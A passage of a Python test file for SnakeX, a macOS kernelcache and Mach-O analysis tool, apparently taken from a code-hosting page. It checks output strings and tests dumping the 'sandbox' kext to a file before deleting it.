assert expected_output_2 in uroboros_output
|
||||
assert expected_output_3 in uroboros_output
|
||||
assert expected_output_4 in uroboros_output
|
||||
assert expected_output_5 in uroboros_output
|
||||
assert expected_output_6 in uroboros_output
|
||||
assert expected_output_7 in uroboros_output
|
||||
assert expected_output_8 in uroboros_output
|
||||
assert expected_output_9 in uroboros_output
|
||||
|
||||
def test_dump_kext(self):
|
||||
'''Test the --dump_kext flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_kext', 'sandbox']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
assert os.path.exists("sandbox")
|
||||
os.remove("sandbox")
|
||||
|
||||
Reference in New Issue
Block a user